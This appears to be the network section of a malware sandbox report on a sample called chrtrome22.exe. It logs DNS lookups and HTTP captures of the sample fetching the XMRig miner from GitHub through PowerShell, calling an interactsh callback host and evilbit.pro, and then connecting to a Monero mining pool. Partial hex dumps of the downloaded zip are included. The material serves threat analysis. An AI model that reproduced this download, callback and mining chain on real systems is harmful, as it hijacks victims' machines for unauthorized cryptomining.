Jan 9, 2025 08:42:13.028633118 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:13.028650999 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:13.028672934 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:13.028815031 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:13.028830051 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:13.028879881 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:13.028887033 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:13.028923035 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:13.029356956 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:13.029371023 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:13.029417038 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:13.029423952 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:13.029460907 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:13.030005932 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:13.030019999 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:13.030060053 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:13.030067921 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:13.030095100 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:13.030112028 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:13.030421019 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:13.030455112 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:13.030493975 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:13.030500889 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:13.030512094 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:13.030527115 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:13.030543089 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:13.030570984 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:13.030889988 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:13.452697992 CET	49732	443	192.168.2.4	172.67.144.26
Jan 9, 2025 08:42:13.452745914 CET	443	49732	172.67.144.26	192.168.2.4
Jan 9, 2025 08:42:13.452821016 CET	49732	443	192.168.2.4	172.67.144.26
Jan 9, 2025 08:42:13.453330040 CET	49732	443	192.168.2.4	172.67.144.26
Jan 9, 2025 08:42:13.453341007 CET	443	49732	172.67.144.26	192.168.2.4
Jan 9, 2025 08:42:13.914580107 CET	443	49732	172.67.144.26	192.168.2.4
Jan 9, 2025 08:42:13.914659023 CET	49732	443	192.168.2.4	172.67.144.26
Jan 9, 2025 08:42:13.916553020 CET	49732	443	192.168.2.4	172.67.144.26
Jan 9, 2025 08:42:13.916564941 CET	443	49732	172.67.144.26	192.168.2.4
Jan 9, 2025 08:42:13.916870117 CET	443	49732	172.67.144.26	192.168.2.4
Jan 9, 2025 08:42:13.917927980 CET	49732	443	192.168.2.4	172.67.144.26
Jan 9, 2025 08:42:13.963325977 CET	443	49732	172.67.144.26	192.168.2.4
Jan 9, 2025 08:42:14.364876986 CET	443	49732	172.67.144.26	192.168.2.4
Jan 9, 2025 08:42:14.364969015 CET	443	49732	172.67.144.26	192.168.2.4
Jan 9, 2025 08:42:14.365080118 CET	49732	443	192.168.2.4	172.67.144.26
Jan 9, 2025 08:42:14.366820097 CET	49732	443	192.168.2.4	172.67.144.26
Jan 9, 2025 08:42:14.553808928 CET	49733	80	192.168.2.4	206.189.156.69
Jan 9, 2025 08:42:14.558737040 CET	80	49733	206.189.156.69	192.168.2.4
Jan 9, 2025 08:42:14.558866024 CET	49733	80	192.168.2.4	206.189.156.69
Jan 9, 2025 08:42:14.559185982 CET	49733	80	192.168.2.4	206.189.156.69
Jan 9, 2025 08:42:14.564062119 CET	80	49733	206.189.156.69	192.168.2.4
Jan 9, 2025 08:42:15.471927881 CET	80	49733	206.189.156.69	192.168.2.4
Jan 9, 2025 08:42:15.520550966 CET	49733	80	192.168.2.4	206.189.156.69
Jan 9, 2025 08:42:15.686583996 CET	49733	80	192.168.2.4	206.189.156.69
Jan 9, 2025 08:42:15.876914024 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:42:15.876965046 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:42:15.877038956 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:42:15.877403021 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:42:15.877417088 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:42:16.716428995 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:42:16.717900991 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:42:16.717921019 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:42:16.718869925 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:42:16.718939066 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:42:16.721658945 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:42:16.721729994 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:42:16.770621061 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:42:16.770642042 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:42:16.817648888 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:42:16.906353951 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:42:16.958116055 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:42:21.812233925 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:42:21.864269972 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:42:28.008239985 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:42:28.098671913 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:42:33.896264076 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:42:33.991385937 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:42:46.911585093 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:42:46.989465952 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:42:59.011101007 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:42:59.098855019 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:43:15.051954985 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:43:15.098779917 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:43:25.179611921 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:43:25.301953077 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:43:28.041898966 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:43:28.098834991 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:43:38.850022078 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:43:38.989541054 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:43:48.875004053 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:43:49.099006891 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:43:49.464860916 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:43:49.599066973 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:44:02.090001106 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:44:02.302038908 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:44:12.623097897 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:44:12.802092075 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:44:28.072976112 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:44:28.302124977 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:44:32.393383980 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:44:32.489633083 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:44:42.660494089 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:44:42.802145958 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:44:57.640120983 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:44:57.802145958 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:45:07.707211018 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:45:07.802162886 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:45:20.886908054 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:45:20.989661932 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:45:24.482969999 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:45:24.599006891 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:45:34.184617996 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:45:34.227339983 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:45:34.376477003 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:45:34.489648104 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:45:34.522001982 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:45:34.599020004 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:45:34.601505041 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:45:34.601512909 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:45:34.803838015 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:45:34.989661932 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:45:35.484626055 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:45:35.484654903 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:45:35.686544895 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:45:35.802161932 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:45:45.023732901 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:45:45.099010944 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:45:55.486859083 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:45:55.599044085 CET	49734	443	192.168.2.4	141.94.96.144
Jan 9, 2025 08:46:05.639117002 CET	443	49734	141.94.96.144	192.168.2.4
Jan 9, 2025 08:46:05.802272081 CET	49734	443	192.168.2.4	141.94.96.144

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 08:42:09.399863958 CET	64069	53	192.168.2.4	1.1.1.1
Jan 9, 2025 08:42:09.407200098 CET	53	64069	1.1.1.1	192.168.2.4
Jan 9, 2025 08:42:10.496068001 CET	59610	53	192.168.2.4	1.1.1.1
Jan 9, 2025 08:42:10.502631903 CET	53	59610	1.1.1.1	192.168.2.4
Jan 9, 2025 08:42:13.425649881 CET	58221	53	192.168.2.4	1.1.1.1
Jan 9, 2025 08:42:13.451942921 CET	53	58221	1.1.1.1	192.168.2.4
Jan 9, 2025 08:42:14.373112917 CET	57508	53	192.168.2.4	1.1.1.1
Jan 9, 2025 08:42:14.552632093 CET	53	57508	1.1.1.1	192.168.2.4
Jan 9, 2025 08:42:15.866225004 CET	64014	53	192.168.2.4	1.1.1.1
Jan 9, 2025 08:42:15.874085903 CET	53	64014	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 9, 2025 08:42:09.399863958 CET	192.168.2.4	1.1.1.1	0x375e	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 08:42:10.496068001 CET	192.168.2.4	1.1.1.1	0x10aa	Standard query (0)	objects.githubusercontent.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 08:42:13.425649881 CET	192.168.2.4	1.1.1.1	0x9bcf	Standard query (0)	evilbit.pro	A (IP address)	IN (0x0001)	false
Jan 9, 2025 08:42:14.373112917 CET	192.168.2.4	1.1.1.1	0xe6bf	Standard query (0)	wydkowqbjycsuwapzymz8ia5edhi9t1d7.oast.fun	A (IP address)	IN (0x0001)	false
Jan 9, 2025 08:42:15.866225004 CET	192.168.2.4	1.1.1.1	0xe25c	Standard query (0)	pool.supportxmr.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 9, 2025 08:42:09.407200098 CET	1.1.1.1	192.168.2.4	0x375e	No error (0)	github.com		140.82.121.4	A (IP address)	IN (0x0001)	false
Jan 9, 2025 08:42:10.502631903 CET	1.1.1.1	192.168.2.4	0x10aa	No error (0)	objects.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Jan 9, 2025 08:42:10.502631903 CET	1.1.1.1	192.168.2.4	0x10aa	No error (0)	objects.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Jan 9, 2025 08:42:10.502631903 CET	1.1.1.1	192.168.2.4	0x10aa	No error (0)	objects.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Jan 9, 2025 08:42:10.502631903 CET	1.1.1.1	192.168.2.4	0x10aa	No error (0)	objects.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Jan 9, 2025 08:42:13.451942921 CET	1.1.1.1	192.168.2.4	0x9bcf	No error (0)	evilbit.pro		172.67.144.26	A (IP address)	IN (0x0001)	false
Jan 9, 2025 08:42:13.451942921 CET	1.1.1.1	192.168.2.4	0x9bcf	No error (0)	evilbit.pro		104.21.95.99	A (IP address)	IN (0x0001)	false
Jan 9, 2025 08:42:14.552632093 CET	1.1.1.1	192.168.2.4	0xe6bf	No error (0)	wydkowqbjycsuwapzymz8ia5edhi9t1d7.oast.fun		206.189.156.69	A (IP address)	IN (0x0001)	false
Jan 9, 2025 08:42:15.874085903 CET	1.1.1.1	192.168.2.4	0xe25c	No error (0)	pool.supportxmr.com	pool-fr.supportxmr.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 08:42:15.874085903 CET	1.1.1.1	192.168.2.4	0xe25c	No error (0)	pool-fr.supportxmr.com		141.94.96.144	A (IP address)	IN (0x0001)	false
Jan 9, 2025 08:42:15.874085903 CET	1.1.1.1	192.168.2.4	0xe25c	No error (0)	pool-fr.supportxmr.com		141.94.96.195	A (IP address)	IN (0x0001)	false
Jan 9, 2025 08:42:15.874085903 CET	1.1.1.1	192.168.2.4	0xe25c	No error (0)	pool-fr.supportxmr.com		141.94.96.71	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

github.com

objects.githubusercontent.com

evilbit.pro

wydkowqbjycsuwapzymz8ia5edhi9t1d7.oast.fun

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	206.189.156.69	80	6568	C:\Users\user\Desktop\chrtrome22.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 08:42:14.559185982 CET	186	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 6.2; en-CH) WindowsPowerShell/5.1.19041.1682 Host: wydkowqbjycsuwapzymz8ia5edhi9t1d7.oast.fun Connection: Keep-Alive
Jan 9, 2025 08:42:15.471927881 CET	366	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type, Authorization Access-Control-Allow-Origin: * Content-Type: text/html; charset=utf-8 Server: oast.fun X-Interactsh-Version: 1.2.2 Date: Thu, 09 Jan 2025 07:42:15 GMT Content-Length: 72 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 37 64 31 74 39 69 68 64 65 35 61 69 38 7a 6d 79 7a 70 61 77 75 73 63 79 6a 62 71 77 6f 6b 64 79 77 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head></head><body>7d1t9ihde5ai8zmyzpawuscyjbqwokdyw</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	140.82.121.4	443	6568	C:\Users\user\Desktop\chrtrome22.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:42:10 UTC	219	OUT	GET /xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-msvc-win64.zip HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 6.2; en-CH) WindowsPowerShell/5.1.19041.1682 Host: github.com Connection: Keep-Alive
2025-01-09 07:42:10 UTC	973	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Thu, 09 Jan 2025 07:42:10 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/88327406/cbb07403-ee0c-4c81-9ded-5d5497635b93?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250109%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250109T074210Z&X-Amz-Expires=300&X-Amz-Signature=14b843eca34096be30cd757c45ce4cc4b792e87b295ec80813503823aca60371&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Dxmrig-6.22.2-msvc-win64.zip&response-content-type=application%2Foctet-stream Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2025-01-09 07:42:10 UTC	3382	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	185.199.110.133	443	6568	C:\Users\user\Desktop\chrtrome22.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:42:10 UTC	658	OUT	GET /github-production-release-asset-2e65be/88327406/cbb07403-ee0c-4c81-9ded-5d5497635b93?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250109%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250109T074210Z&X-Amz-Expires=300&X-Amz-Signature=14b843eca34096be30cd757c45ce4cc4b792e87b295ec80813503823aca60371&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Dxmrig-6.22.2-msvc-win64.zip&response-content-type=application%2Foctet-stream HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 6.2; en-CH) WindowsPowerShell/5.1.19041.1682 Host: objects.githubusercontent.com Connection: Keep-Alive
2025-01-09 07:42:11 UTC	863	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2666251 Content-Type: application/octet-stream Last-Modified: Sun, 03 Nov 2024 07:56:35 GMT ETag: "0x8DCFBDD0A034A6E" Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 4b93fb7f-701e-006d-20c0-4d551e000000 x-ms-version: 2024-11-04 x-ms-creation-time: Sun, 03 Nov 2024 07:56:35 GMT x-ms-blob-content-md5: V7erW859Xkf9Fo4fDUN9Mg== x-ms-lease-status: unlocked x-ms-lease-state: available x-ms-blob-type: BlockBlob Content-Disposition: attachment; filename=xmrig-6.22.2-msvc-win64.zip x-ms-server-encrypted: true Via: 1.1 varnish, 1.1 varnish Fastly-Restarts: 1 Accept-Ranges: bytes Age: 1579 Date: Thu, 09 Jan 2025 07:42:11 GMT X-Served-By: cache-iad-kcgs7200085-IAD, cache-ewr-kewr1740033-EWR X-Cache: HIT, HIT X-Cache-Hits: 7492, 0 X-Timer: S1736408531.015750,VS0,VE7
2025-01-09 07:42:11 UTC	1378	IN	Data Raw: 50 4b 03 04 14 00 00 00 00 00 31 75 63 59 00 00 00 00 00 00 00 00 00 00 00 00 0d 00 00 00 78 6d 72 69 67 2d 36 2e 32 32 2e 32 2f 50 4b 03 04 0a 00 00 00 00 00 1b 75 63 59 3d 16 f1 ff 3d 00 00 00 3d 00 00 00 1e 00 00 00 78 6d 72 69 67 2d 36 2e 32 32 2e 32 2f 62 65 6e 63 68 6d 61 72 6b 5f 31 30 4d 2e 63 6d 64 40 65 63 68 6f 20 6f 66 66 0a 63 64 20 2f 64 20 22 25 7e 64 70 30 22 0a 78 6d 72 69 67 2e 65 78 65 20 2d 2d 62 65 6e 63 68 3d 31 30 4d 20 2d 2d 73 75 62 6d 69 74 0a 70 61 75 73 65 0a 50 4b 03 04 0a 00 00 00 00 00 1b 75 63 59 d3 c2 d1 ca 3c 00 00 00 3c 00 00 00 1d 00 00 00 78 6d 72 69 67 2d 36 2e 32 32 2e 32 2f 62 65 6e 63 68 6d 61 72 6b 5f 31 4d 2e 63 6d 64 40 65 63 68 6f 20 6f 66 66 0a 63 64 20 2f 64 20 22 25 7e 64 70 30 22 0a 78 6d 72 69 67 2e 65 78 Data Ascii: PK1ucYxmrig-6.22.2/PKucY===xmrig-6.22.2/benchmark_10M.cmd@echo offcd /d "%~dp0"xmrig.exe --bench=10M --submitpausePKucY<<xmrig-6.22.2/benchmark_1M.cmd@echo offcd /d "%~dp0"xmrig.ex
2025-01-09 07:42:11 UTC	1378	IN	Data Raw: 2c bc 65 82 94 30 37 e4 6f 02 0f a4 b1 a9 05 8b f3 5a 59 04 b1 63 69 69 5f 2c 87 ce 3f 84 0d 5f 26 0c 3c 23 4c 6b de de 5f ed 27 61 f0 4d 9c a1 b8 99 1d a0 3b 88 2a b4 58 83 41 94 41 09 9b ba 50 92 59 5f 48 84 0b ae e5 6a 52 5b ce 21 b3 73 36 69 27 7e ab 5c 70 bc 3d 76 ed 21 8c 19 cd 31 28 bc af 5c da eb 35 81 b8 ef 85 77 09 8f 05 85 ee e9 58 d6 62 9d 15 44 6e 6b 01 d5 de b1 98 38 4d aa e0 38 08 2c b0 ac 5a 26 16 ed 59 e1 2c 34 ab 89 ad 92 98 a1 e1 59 97 6a 83 f2 5d 80 7b d0 c1 f4 6d f7 a2 74 c4 60 1e 0d 14 62 81 e0 da 68 8e e8 7a 95 58 33 1f 94 4a 2b d6 d6 ed 66 12 7a 12 f6 de ff 91 d5 87 bd ee 9b 0b c3 3f b1 7f ac d3 70 6e c2 2d 39 3a 41 99 ff a8 bf 0e fb e3 93 a3 d1 66 73 27 be e4 83 1a e9 e2 76 dc 1f df 3f cd fb 43 f4 8f 9b d1 d5 e6 c6 1f 7f 7a 1a 1c Data Ascii: ,e07oZYcii_,?_&<#Lk_'aM;*XAAPY_HjR[!s6i'~\p=v!1(\5wXbDnk8M8,Z&Y,4Yj]{mt`bhzX3J+fz?pn-9:Afs'v?Cz
2025-01-09 07:42:11 UTC	1378	IN	Data Raw: 66 a2 b1 45 51 48 69 a2 b4 d8 eb 2e 5b b5 60 2f 55 9c 43 d4 a6 8d 82 0e 21 48 44 9b fb 36 6e 6f 9f c9 63 ad 42 33 d7 88 ed 49 0a 0c 61 64 73 2f 5c f6 dc a5 dd 31 f7 65 ad 60 d1 c1 44 a3 c3 9a db 56 26 d7 84 c3 f1 fd 7c db 29 e5 7b 3e fc 05 50 4b 03 04 14 00 00 00 08 00 1b 75 63 59 ce 31 a4 ec fc 01 00 00 35 03 00 00 22 00 00 00 78 6d 72 69 67 2d 36 2e 32 32 2e 32 2f 73 6f 6c 6f 5f 6d 69 6e 65 5f 65 78 61 6d 70 6c 65 2e 63 6d 64 6d 52 c1 72 da 30 10 3d 87 af d8 66 a6 d3 4b 70 a0 43 5a f0 64 72 08 50 4a 02 0d 43 6b 12 b8 64 84 b5 c6 0a b2 e4 58 72 01 1f fa ed 5d c9 21 49 67 3a a3 c3 6a f5 f6 e9 bd 27 85 21 0c f7 2c cb 25 c2 9a d9 38 85 44 50 99 e8 02 32 a1 84 da c0 54 2b 2c 34 18 2d 75 23 0c 69 c1 37 5d 64 cc ba f2 64 9f 15 62 13 e0 1e a1 a9 e1 52 69 8e c0 Data Ascii: fEQHi.[`/UC!HD6nocB3Iads/\1e`DV&\|){>PKucY15"xmrig-6.22.2/solo_mine_example.cmdmRr0=fKpCZdrPJCkdXr]!Ig:j'!,%8DP2T+,4-u#i7]ddbRi
2025-01-09 07:42:11 UTC	1378	IN	Data Raw: 30 37 98 98 b1 c9 80 c8 7a 43 64 65 d7 20 83 25 2d 80 e2 8d a0 7a 34 70 26 b1 e4 1e 00 e2 8d d0 62 c9 f5 1c 44 54 2c e5 2e 40 58 66 b2 84 da 9b be a6 f9 04 e3 26 b1 ad 72 60 72 84 fa ab 08 59 77 0d 3c 19 b6 cb 20 9c 69 be 58 f2 63 a0 6e 19 86 83 9e 47 d0 64 0e ba 0b 41 d3 00 ca a0 2f 4b 47 80 e3 b2 4c 04 98 2d 6b 45 3a 8b 12 8c 5b 18 02 04 e3 66 b1 94 08 30 14 a0 88 2c 07 59 0b 96 99 38 4b 42 2c b9 10 74 46 da 92 b3 01 82 8c 9e b2 0a 8c fe 92 89 1a 62 01 c6 bb 21 63 d0 65 4a 7e 25 96 e5 22 6e c7 6a 22 32 63 55 70 83 5f 00 7f e8 2d ea d7 8d a5 48 e3 ad 3f d1 e8 89 34 d6 72 1b 59 bc 6f 41 32 62 a2 88 6d fc 48 80 0d 5d e5 f0 ad 64 db 20 5e 08 8d 1a 1e 0c 7a 19 c4 44 0d f3 bc 48 43 59 30 f9 87 ca 50 c8 fc fd 90 49 fb 22 a8 05 07 7d 82 cc ff 52 01 b2 5a 7d c8 Data Ascii: 07zCde %-z4p&bDT,.@Xf&r`rYw< iXcnGdA/KGL-kE:[f0,Y8KB,tFb!ceJ~%"nj"2cUp_-H?4rYoA2bmH]d ^zDHCY0PI"}RZ}
2025-01-09 07:42:11 UTC	1378	IN	Data Raw: cd 69 24 3f 06 c9 35 3a dc 9f 1a 46 0e b0 23 53 42 21 a8 e4 1b df 82 b4 9e 1c 40 82 a0 73 80 63 41 02 9d 67 48 4a f3 ba 30 c2 6c 28 64 c6 2a 0a 39 00 7c 03 73 65 20 2f 31 08 6a e0 ca 7f d7 10 c3 63 1f be 8a 12 ee 17 61 43 75 8d f0 43 38 5e 80 63 3f 8d de 86 b6 25 99 45 05 9b 87 90 02 42 2d 37 42 10 85 41 a5 87 d2 28 61 9a a4 8d a0 55 0b 22 fa 85 b9 92 18 66 51 74 0b f0 e9 c5 2c da 31 28 88 4e 62 40 d2 08 df fa 67 3e 91 60 a7 09 de a1 d0 38 9f 8f 8f b9 0f 3d 82 14 40 0e 22 07 f8 84 f8 51 02 c3 48 34 e8 ff e5 7f a8 a0 38 9f e6 64 41 38 cd e4 4f 7d e6 fb 99 2f 80 01 a9 02 60 be e0 5b 9c 37 cf 4c 7d 08 4f 17 3c dd 21 57 c8 07 3c 2d 21 17 80 d9 40 8e 90 03 a0 6d c0 d3 0a e0 48 39 8b 79 3d 89 e8 43 83 ca 0b e8 af 70 05 57 0f 06 fc a1 67 e8 6e 00 0c 14 d0 c7 80 Data Ascii: i$?5:F#SB!@scAgHJ0l(d*9\|se /1jcaCuC8^c?%EB-7BA(aU"fQt,1(Nb@g>`8=@"QH48dA8O}/`[7L}O<!W<-!@mH9y=CpWgn
